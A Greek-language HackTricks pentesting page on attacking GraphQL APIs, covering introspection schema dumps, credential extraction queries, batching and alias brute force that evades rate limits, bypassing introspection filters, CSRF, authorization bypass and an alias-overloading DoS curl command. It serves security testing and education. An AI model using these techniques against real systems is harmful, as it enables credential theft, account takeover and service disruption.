GraphQL

Reading time: 29 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εισαγωγή

Το GraphQL είναι τονισμένο ως μια αποτελεσματική εναλλακτική λύση στο REST API, προσφέροντας μια απλοποιημένη προσέγγιση για την ανάκτηση δεδομένων από το backend. Σε αντίθεση με το REST, το οποίο συχνά απαιτεί πολλές αιτήσεις σε διάφορα endpoints για τη συλλογή δεδομένων, το GraphQL επιτρέπει την ανάκτηση όλων των απαιτούμενων πληροφοριών μέσω μιας μοναδικής αίτησης. Αυτή η απλοποίηση ωφελεί σημαντικά τους προγραμματιστές μειώνοντας την πολυπλοκότητα των διαδικασιών ανάκτησης δεδομένων τους.

GraphQL και Ασφάλεια

Με την εμφάνιση νέων τεχνολογιών, συμπεριλαμβανομένου του GraphQL, προκύπτουν επίσης νέες ευπάθειες ασφαλείας. Ένα βασικό σημείο που πρέπει να σημειωθεί είναι ότι το GraphQL δεν περιλαμβάνει μηχανισμούς αυθεντικοποίησης από προεπιλογή. Είναι ευθύνη των προγραμματιστών να εφαρμόσουν τέτοια μέτρα ασφαλείας. Χωρίς κατάλληλη αυθεντικοποίηση, τα endpoints του GraphQL μπορεί να εκθέσουν ευαίσθητες πληροφορίες σε μη αυθεντικοποιημένους χρήστες, θέτοντας σημαντικό κίνδυνο ασφαλείας.

Επιθέσεις Brute Force Καταλόγου και GraphQL

Για να εντοπιστούν εκτεθειμένες περιπτώσεις GraphQL, συνιστάται η συμπερίληψη συγκεκριμένων διαδρομών σε επιθέσεις brute force καταλόγου. Αυτές οι διαδρομές είναι:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Ο εντοπισμός ανοιχτών περιπτώσεων GraphQL επιτρέπει την εξέταση των υποστηριζόμενων ερωτημάτων. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα αυτογνωσίας του GraphQL διευκολύνει αυτό, παρέχοντας λεπτομέρειες για τα ερωτήματα που υποστηρίζει ένα σχήμα. Για περισσότερες πληροφορίες σχετικά με αυτό, ανατρέξτε στην τεκμηρίωση του GraphQL σχετικά με την αυτογνωσία: GraphQL: Μια γλώσσα ερωτήσεων για APIs.

Δακτυλοσκοπία

Το εργαλείο graphw00f είναι ικανό να ανιχνεύσει ποια μηχανή GraphQL χρησιμοποιείται σε έναν διακομιστή και στη συνέχεια εκτυπώνει κάποιες χρήσιμες πληροφορίες για τον ελεγκτή ασφαλείας.

Καθολικά ερωτήματα

Για να ελεγχθεί αν μια διεύθυνση URL είναι υπηρεσία GraphQL, μπορεί να σταλεί ένα καθολικό ερώτημα, query{__typename}. Εάν η απάντηση περιλαμβάνει {"data": {"__typename": "Query"}}, επιβεβαιώνει ότι η διεύθυνση URL φιλοξενεί ένα endpoint GraphQL. Αυτή η μέθοδος βασίζεται στο πεδίο __typename του GraphQL, το οποίο αποκαλύπτει τον τύπο του ερωτηθέντος αντικειμένου.

javascript
query{__typename}

Βασική Αρίθμηση

Το Graphql συνήθως υποστηρίζει GET, POST (x-www-form-urlencoded) και POST(json). Αν και για λόγους ασφαλείας συνιστάται να επιτρέπεται μόνο το json για την πρόληψη επιθέσεων CSRF.

Εξερεύνηση

Για να χρησιμοποιήσετε την εξερεύνηση για να ανακαλύψετε πληροφορίες σχήματος, ερωτήστε το πεδίο __schema. Αυτό το πεδίο είναι διαθέσιμο στον ριζικό τύπο όλων των ερωτήσεων.

bash
query={__schema{types{name,fields{name}}}}

Με αυτή την ερώτηση θα βρείτε το όνομα όλων των τύπων που χρησιμοποιούνται:

bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Με αυτή την ερώτηση μπορείτε να εξαγάγετε όλους τους τύπους, τα πεδία του και τα επιχειρήματά του (και τον τύπο των επιχειρημάτων). Αυτό θα είναι πολύ χρήσιμο για να γνωρίζετε πώς να κάνετε ερωτήσεις στη βάση δεδομένων.

Σφάλματα

Είναι ενδιαφέρον να γνωρίζετε αν τα σφάλματα θα εμφανιστούν καθώς θα συμβάλλουν με χρήσιμες πληροφορίες.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Καταμέτρηση Σχήματος Βάσης Δεδομένων μέσω Εξερεύνησης

note

Εάν η εξερεύνηση είναι ενεργοποιημένη αλλά το παραπάνω ερώτημα δεν εκτελείται, δοκιμάστε να αφαιρέσετε τις οδηγίες onOperation, onFragment και onField από τη δομή του ερωτήματος.

bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Ερωτήση ενδοσκόπησης σε γραμμή:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εξάγει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...)

Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε GraphQL Voyager για να δείτε σε μια GUI όλες τις επιλογές.

Ερωτήματα

Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να εξάγουμε κάποιες τιμές.

Στην introspection μπορείτε να βρείτε ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "queryType" ονομάζεται "Query" και ότι ένα από τα πεδία του αντικειμένου "Query" είναι το "flags", το οποίο είναι επίσης τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag.

Σημειώστε ότι ο τύπος του query "flags" είναι "Flags", και αυτό το αντικείμενο ορίζεται ως εξής:

Μπορείτε να δείτε ότι τα αντικείμενα "Flags" αποτελούνται από name και value. Στη συνέχεια, μπορείτε να αποκτήσετε όλα τα ονόματα και τις τιμές των σημαιών με το query:

javascript
query={flags{name, value}}

Σημειώστε ότι σε περίπτωση που το αντικείμενο προς ερώτηση είναι ενός πρωτογενούς τύπου όπως string όπως στο παρακάτω παράδειγμα

Μπορείτε απλά να το ερωτήσετε με:

javascript
query = { hiddenFlags }

Σε ένα άλλο παράδειγμα όπου υπήρχαν 2 αντικείμενα μέσα στο αντικείμενο τύπου "Query": "user" και "users".
Αν αυτά τα αντικείμενα δεν χρειάζονται κανένα επιχείρημα για αναζήτηση, θα μπορούσατε να ανακτήσετε όλες τις πληροφορίες από αυτά απλά ζητώντας τα δεδομένα που θέλετε. Σε αυτό το παράδειγμα από το Διαδίκτυο θα μπορούσατε να εξάγετε τα αποθηκευμένα ονόματα χρηστών και κωδικούς πρόσβασης:

Ωστόσο, σε αυτό το παράδειγμα αν προσπαθήσετε να το κάνετε αυτό θα λάβετε αυτό το σφάλμα:

Φαίνεται ότι με κάποιο τρόπο θα αναζητήσει χρησιμοποιώντας το "uid" επιχείρημα τύπου Int.
Ούτως ή άλλως, το γνωρίζαμε ήδη, στην ενότητα Basic Enumeration προτάθηκε ένα ερώτημα που μας έδειχνε όλες τις απαραίτητες πληροφορίες: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Αν διαβάσετε την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δείτε ότι το "user" είχε το arg "uid" τύπου Int.

Έτσι, εκτελώντας κάποια ελαφριά uid bruteforce ανακάλυψα ότι στο uid=1 ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης:
query={user(uid:1){user,password}}

Σημειώστε ότι ανακάλυψα ότι μπορούσα να ζητήσω τις παραμέτρους "user" και "password" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (query={user(uid:1){noExists}}) λαμβάνω αυτό το σφάλμα:

Και κατά τη διάρκεια της φάσης αρίθμησης ανακάλυψα ότι το αντικείμενο "dbuser" είχε ως πεδία "user" και "password.

Trick dump query string (ευχαριστώ τον @BinaryShadow_)

Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: query={theusers(description: ""){username,password}} και αναζητήσετε για μια κενή συμβολοσειρά θα εκτυπώσει όλα τα δεδομένα. (Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "theusers" με βάση ένα πεδίο συμβολοσειράς που ονομάζεται "description").

Αναζήτηση

Σε αυτή τη ρύθμιση, μια βάση δεδομένων περιέχει άτομα και ταινίες. Άτομα αναγνωρίζονται από το email και το όνομά τους; ταινίες από το όνομά τους και την αξιολόγηση. Άτομα μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.

Μπορείτε να αναζητήσετε άτομα με βάση το όνομα και να λάβετε τα email τους:

javascript
{
searchPerson(name: "John Doe") {
email
}
}

Μπορείτε να αναζητήσετε άτομα με το όνομα και να αποκτήσετε τις συνδρομημένες ταινίες τους:

javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Σημειώστε πώς υποδεικνύεται να ανακτηθεί το name των subscribedMovies του ατόμου.

Μπορείτε επίσης να αναζητήσετε αρκετά αντικείμενα ταυτόχρονα. Σε αυτή την περίπτωση, γίνεται αναζήτηση 2 ταινιών:

javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ή ακόμη σχέσεις διαφόρων διαφορετικών αντικειμένων χρησιμοποιώντας ψευδώνυμα:

javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Οι μεταλλάξεις χρησιμοποιούνται για να γίνουν αλλαγές στην πλευρά του διακομιστή.

Στην εξερεύνηση μπορείτε να βρείτε τις δηλωμένες μεταλλάξεις. Στην παρακάτω εικόνα ο "MutationType" ονομάζεται "Mutation" και το αντικείμενο "Mutation" περιέχει τα ονόματα των μεταλλάξεων (όπως "addPerson" σε αυτή την περίπτωση):

Σε αυτή τη ρύθμιση, μια βάση δεδομένων περιέχει άτομα και ταινίες. Άτομα αναγνωρίζονται από το email και το όνομά τους; ταινίες από το όνομά τους και την αξιολόγηση τους. Άτομα μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.

Μια μετάλλαξη για δημιουργία νέων ταινιών μέσα στη βάση δεδομένων μπορεί να είναι όπως η παρακάτω (σε αυτό το παράδειγμα η μετάλλαξη ονομάζεται addMovie):

javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.

Επιπλέον, η βάση δεδομένων υποστηρίζει μια mutation λειτουργία, ονόματι addPerson, η οποία επιτρέπει τη δημιουργία persons μαζί με τις συσχετίσεις τους με υπάρχοντες friends και movies. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν άτομο.

javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Όπως εξηγήθηκε σε μία από τις ευπάθειες που περιγράφονται σε αυτή την αναφορά, η υπερφόρτωση εντολών σημαίνει την κλήση μιας εντολής ακόμη και εκατομμύρια φορές για να αναγκαστεί ο διακομιστής να σπαταλήσει λειτουργίες μέχρι να είναι δυνατόν να γίνει DoS.

Batching brute-force σε 1 API request

Αυτή η πληροφορία ελήφθη από https://lab.wallarm.com/graphql-batching-attack/.
Αυθεντικοποίηση μέσω GraphQL API με ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς.

Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με 3 διαφορετικά ζεύγη email/password ταυτόχρονα. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο:

Όπως μπορούμε να δούμε από το στιγμιότυπο οθόνης της απάντησης, τα πρώτα και τρίτα αιτήματα επέστρεψαν null και αντανάκλασαν τις αντίστοιχες πληροφορίες στην ενότητα error. Τα δεύτερη μετάλλαξη είχε τα σωστά δεδομένα αυθεντικοποίησης και η απάντηση έχει το σωστό διακριτικό συνεδρίας αυθεντικοποίησης.

GraphQL Χωρίς Introspection

Όλο και περισσότεροι graphql endpoints απενεργοποιούν την introspection. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το clairvoyance για να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.

Επιπλέον, η επέκταση Burp Suite GraphQuail παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp και δημιουργεί ένα εσωτερικό σχήμα GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα για χρήση εντός του API. Για περισσότερες πληροφορίες ελέγξτε αυτό.

Μια ωραία λίστα λέξεων για να ανακαλύψετε οντότητες GraphQL μπορεί να βρεθεί εδώ.

Παράκαμψη αμυνών introspection GraphQL

Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός ειδικού χαρακτήρα μετά την λέξη-κλειδί __schema αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί __schema. Προσθέτοντας χαρακτήρες όπως κενά, νέες γραμμές και κόμματα, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το __schema μπορεί να παρακάμψει τέτοιες αμυντικές τακτικές:

bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Αν δεν είναι επιτυχές, εξετάστε εναλλακτικές μεθόδους αιτήσεων, όπως GET requests ή POST με x-www-form-urlencoded, καθώς οι περιορισμοί μπορεί να ισχύουν μόνο για τις αιτήσεις POST.

Δοκιμάστε WebSockets

Όπως αναφέρθηκε σε αυτή την ομιλία, ελέγξτε αν είναι δυνατό να συνδεθείτε στο graphQL μέσω WebSockets, καθώς αυτό μπορεί να σας επιτρέψει να παρακάμψετε μια πιθανή WAF και να κάνετε την επικοινωνία websocket να διαρρεύσει το σχήμα του graphQL:

javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Ανακάλυψη Εκτεθειμένων Δομών GraphQL

Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα Sources στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά εκτεθειμένα ευαίσθητα ερωτήματα. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:

javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF στο GraphQL

Αν δεν ξέρετε τι είναι το CSRF, διαβάστε την παρακάτω σελίδα:

CSRF (Cross Site Request Forgery)

Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints ρυθμισμένα χωρίς CSRF tokens.

Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας τον τύπο περιεχομένου application/json.

javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Ωστόσο, οι περισσότερες GraphQL τελικές σημεία υποστηρίζουν επίσης form-urlencoded POST αιτήματα:

javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Ως εκ τούτου, καθώς τα αιτήματα CSRF όπως τα προηγούμενα αποστέλλονται χωρίς προετοιμασία αιτημάτων, είναι δυνατόν να εκτελούνται αλλαγές στο GraphQL εκμεταλλευόμενοι ένα CSRF.

Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας samesite του Chrome είναι Lax. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET.

Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το αίτημα query και ως GET αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.

Επίσης, εκμεταλλευόμενοι μια επίθεση XS-Search μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.

Για περισσότερες πληροφορίες ελέγξτε το αρχικό άρθρο εδώ.

Υπαγωγή WebSocket μεταξύ ιστότοπων στο GraphQL

Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια υπαγωγή WebSocket μεταξύ ιστότοπων για να εκμεταλλευτείτε μια αυθεντικοποίηση με το GraphQL με μη προστατευμένα cookies και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.

Για περισσότερες πληροφορίες ελέγξτε:

WebSocket Attacks

Εξουσιοδότηση στο GraphQL

Πολλές λειτουργίες GraphQL που ορίζονται στο endpoint μπορεί να ελέγχουν μόνο την αυθεντικοποίηση του αιτούντος αλλά όχι την εξουσιοδότηση.

Η τροποποίηση των μεταβλητών εισόδου του query θα μπορούσε να οδηγήσει σε ευαίσθητες λεπτομέρειες λογαριασμού leaked.

Η μετάλλαξη θα μπορούσε ακόμη και να οδηγήσει σε κατάληψη λογαριασμού προσπαθώντας να τροποποιήσει δεδομένα άλλου λογαριασμού.

javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Παράκαμψη εξουσιοδότησης στο GraphQL

Η αλυσίδωση ερωτημάτων μπορεί να παρακάμψει ένα αδύναμο σύστημα αυθεντικοποίησης.

Στο παρακάτω παράδειγμα μπορείτε να δείτε ότι η λειτουργία είναι "forgotPassword" και ότι θα πρέπει να εκτελεί μόνο το ερώτημα forgotPassword που σχετίζεται με αυτό. Αυτό μπορεί να παρακαμφθεί προσθέτοντας ένα ερώτημα στο τέλος, σε αυτή την περίπτωση προσθέτουμε "register" και μια μεταβλητή χρήστη για το σύστημα να εγγραφεί ως νέος χρήστης.

Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL

Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την ρητή ονομασία ιδιοτήτων κατά την εκτέλεση ενός αιτήματος API. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση πολλαπλών περιπτώσεων του ίδιου τύπου αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.

Για μια λεπτομερή κατανόηση των ψευδώνυμων GraphQL, προτείνεται η παρακάτω πηγή: Ψευδώνυμα.

Ενώ ο κύριος σκοπός των ψευδώνυμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα endpoint GraphQL. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον αριθμό των αιτημάτων HTTP. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλαπλών ερωτημάτων σε ένα μόνο αίτημα HTTP, μπορούν να παρακάμψουν τέτοιες μεθόδους περιορισμού ρυθμού.

Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτούν οι κωδικοί έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα αίτημα HTTP, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.

bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε Denial of Service (DoS). Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (expensiveField) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Για να μετριαστεί αυτό, εφαρμόστε όρια στον αριθμό των ψευδωνύμων, ανάλυση πολυπλοκότητας ερωτημάτων ή περιορισμό ρυθμού για να αποτραπεί η κακή χρήση πόρων.

Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες

